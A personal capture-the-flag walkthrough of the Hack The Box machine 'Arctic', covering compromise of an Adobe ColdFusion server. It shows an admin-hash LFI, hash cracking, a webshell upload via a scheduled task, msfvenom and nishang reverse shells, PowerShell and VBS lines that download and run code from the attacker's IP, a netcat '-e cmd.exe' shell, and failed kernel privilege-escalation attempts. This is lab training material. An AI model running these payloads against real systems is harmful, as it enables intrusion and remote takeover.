It’s time to get a bit cooooooool, we are gunna have a look at Artic!
Start off as usual with our nmap scan
nmap -sC -sV -O -oN nmap/initial 10.10.10.11 -vv
We get a few results:
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 8500/tcp open fmtp? 49154/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|phone|specialized Running (JUST GUESSING): Microsoft Windows 8|Phone|2008|7|8.1|Vista|2012 (92%)
So it’s windows and 3 ports. I have no idea what fmtp might be, let’s see if we can view it in a browser.
We get a directory listing back!
We know what CFIDE is, that’s Adobe Cold Fusion. Known to have a load of vulnerbilities depending on version!
Looking in that folder, we find Administrator, which brings us a login screen!
There is a known LFI in CFIDE, which lets you see the admin password, accessing it via:
Visiting it, gives us:
I’d say that password is hashed, a quick google tells us the normal hash for this is SHA1.
Putting it into hash-identifier
Confirms it is likely to be SHA-1!
Let’s try and crack it with john. Copy the hash into a text file and run john:
john hash.txt -w /usr/share/wordlists/rockyou.txt
It comes up with a whole heap of things it could be but after a while it lets us know it’s cracked.
Let’s check the password:
john --show --format=Raw-SHA1 hash.txt
It is a happyday!
Let’s go back to the admin login and see if the creds work!
Success we are in!
Now i’ve exploited this application before, so I have an idea!
Looking at Settings Summary. We can see that any uploaded files get saved at CFIDE/scripts
Double checking the directory listing earlier, we have access to that folder. So we should be able to upload a payload to there and execute it to get a webshell or reverse shell or whatever we want!
Looking in the folder, mostly the files are js or cfm. I think we need to upload a .cfm for it to execute on the server. Luckily on kali there is a default cfm webshell located in /usr/share/webshells/cfm/cfexec.cfm
To upload a file, we need to set up a scheduled task. Under “Debugging & Logging” we have the scheduled tasks.
We will schedule a new task. We can’t upload a file, but we can access a URL, so let’s host our .cfm using python and put in the details. Make sure “Save output to a file” is ticked and we need to confirm where to save it.
Heading back to the setting summary, we can see the CFIDE mapping
I guess we need to use that with \scripts on the end
Submit the task. (This box is very slow, so be patient!)
Once submitted, we need to run the task.
We get a hit on our webserver! And our file is there!
You’ll notice it’s a jsp, not sure why this is. Ah in my autocomplete on the File path, it was a .jsp file. So maybe it needs to be a jsp not a cfm.
Let’s try with a cfm.
A CFM does work (as does a jsp) so either is good!
Hmm, we get an error when running a command:
I think this will be because I changed the name of the file.
Looking at the script, we needed to make a change before we were so reckless in our uploading!
<form method="POST" action="cfexec.cfm">
We need to change this to be:
<form method="POST" action="yekki2.cfm">
Let’s upload it and call the file yekki2.cfm. The reason to call it “2” is that I have no idea if it will overwrite files or fail at that. So it’s must easier and less things can go wrong to make a new one!
Using that webshell, let’s try and whoami /all
Very strange, we get another error!
It doesn’t look like it can find cmd.exe! How strange!
Let’s try powershell instead. Again same issue.
Wow that’s odd. Ok, instead of trying to do that, let’s make a reverse shell payload!
The syntax for this is:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.18 LPORT=9002 -f raw > yekki-rs.jsp
That runs and creates our reverse shell payload
Let’s host that using python and change our scheduled task to grab this file instead.
Run the scheduled task and it appears.
Set up a nc listener
nc -nvlp 9002
Click on the link. Cross those fingers……
We get a reverse shell and the user flag! Noice!
Let’s get my favourite powerless script across. I have a VBA script which works like a wget.
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs echo xHttp.Open "GET", "http://10.10.14.18:9001/Powerless.bat", False >> script1.vbs echo xHttp.Send >> script1.vbs echo with bStrm >> script1.vbs echo .type = 1 '//binary >> script1.vbs echo .open >> script1.vbs echo .write xHttp.responseBody >> script1.vbs echo .savetofile "Powerless.bat", 2 '//overwrite >> script1.vbs echo end with >> script1.vbs cscript script1.vbs
We get a whole bunch of data, let’s see what we have!
Host Name: ARCTIC OS Name: Microsoft Windows Server 2008 R2 Standard OS Version: 6.1.7600 N/A Build 7600
We have a lot of priviledges:
PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
The windows 2008 and the privileges lead me to think maybe we need to use the SeImpersonatePrivilege priv esc.
Searchsploit agrees. Generally I prefer not using kernal exploits as I want to learn other weaknesses, but I can’t see anything else obvious.
Let’s get Sherlock the powershell script across and see if that agrees that I’m on the right lines.
First let’s upgrade ourselves to a powershell terminal.
We can use nishang to create a reverse shell. Go into nishang and edit the Invoke-PowershellTcp.ps1 and at the end enter:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.18 -Port 9003
Then host is using python simple webshell.
Back on the target machine, we can use powershell to get the file which should then start our second reverse shell,
powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9012/Invoke-PowerShellTcp.ps1')
There might be a better way to go up to powershell but I like this, as I get a second shell, so if anything goes wrong, I can re-call it using the first shell without using ColdFusion again.
From here, we can use Sherlock. Firstly in the sherlock powershell file, at the bottom put in:
This will run the script when it’s downloaded.
Sherlock then errors out. Sadly.
Instead let’s remove that line from Sherlock and try:
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.18:9010/Sherlock.ps1') ; Find-AllVulns
This time, we get a bunch of output and a few potential vulnerabilities:
Title : Task Scheduler .XML MSBulletin : MS10-092 CVEID : 2010-3338, 2010-3888 Link : https://www.exploit-db.com/exploits/19930/ VulnStatus : Appears Vulnerable Title : ClientCopyImage Win32k MSBulletin : MS15-051 CVEID : 2015-1701, 2015-2433 Link : https://www.exploit-db.com/exploits/37367/ VulnStatus : Appears Vulnerable Title : Secondary Logon Handle MSBulletin : MS16-032 CVEID : 2016-0099 Link : https://www.exploit-db.com/exploits/39719/ VulnStatus : Appears Vulnerable
So we know which options might be vulnerable!
Let’s start at the top and work our way down. So firstly, task scheduler .xml. Searching on searchsploit we get a hit. The exploit however is part of metasploit and I can’t seem to find a different version on github.
Ok moving on, ClientCopyImage has a compiled .exe on github we can try!
As the machine is 64 bit, let’s try that.
We need to get the file across to the box. To do this, as powershell was a pain earlier, I’m going back to my trusty wget vba script!
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > script1.vbs echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> script1.vbs echo xHttp.Open "GET", "http://10.10.14.18:9014/Taihou64.exe", False >> script1.vbs echo xHttp.Send >> script1.vbs echo with bStrm >> script1.vbs echo .type = 1 '//binary >> script1.vbs echo .open >> script1.vbs echo .write xHttp.responseBody >> script1.vbs echo .savetofile "Taihou64.exe", 2 '//overwrite >> script1.vbs echo end with >> script1.vbs cscript script1.vbs
That’s now downloaded, all that’s left is to run it:
That runs for a while annnd…… it doesn’t appear to do anything!
Well that’s no good! The last exploit needs 2 CPUs, I’m not sure if this has that as it’s a VM.
Instead while I was waiting for Taihou64 to run, I remembered I have previosuly priv esced on a 2008 with an exploit called Churrasco.
The .exe is on kali under /usr/share/sqlninja/apps/churrasco.exe
Let’s get that across to the box with out wget script.
We also need to get netcat across, there is a static binary of this in /usr/share/windows-binaries/nc.exe.
Start up a listener on a new port
nc -nvlp 9111
.\pr.exe -d "C:\Users\tolis\Links\nc.exe 10.10.14.18 9111 -e cmd.exe"
And it doesn’t have the right set up to run:
/churrasco/-->Current User: tolis /churrasco/-->Process is not running under NETWORK SERVICE account! /churrasco/-->Getting NETWORK SERVICE token ... /churrasco/-->Couldn't find NETWORK SERVICE token
Looking around a bit more, there is another potential exploit we can use, called Chimichurri. There is a compiled version on github.
Downloading that and moving it across to the box.
Let’s run that and we need to give it parameters of where a reverse shell should go to.
C:\Users\tolis\Links\win.exe 10.10.14.18 9111
And nothing happens.
That should have worked (trust me I read a walkthrough!)
Maybe someone else has already used the exploit and buggered the path? I’m not sure.
After a box reset, it still didn’t work. The exploit just hangs and doesn’t give us anything back. I looked a couple of walkthroughs, all the priv esc is kernal exploits and really I want to learn other Windows priv esc methods, so I’m going to give up on this one!
This is a flag that will go un-earned (until I come back and do it with metasploit in like 5 minutes)!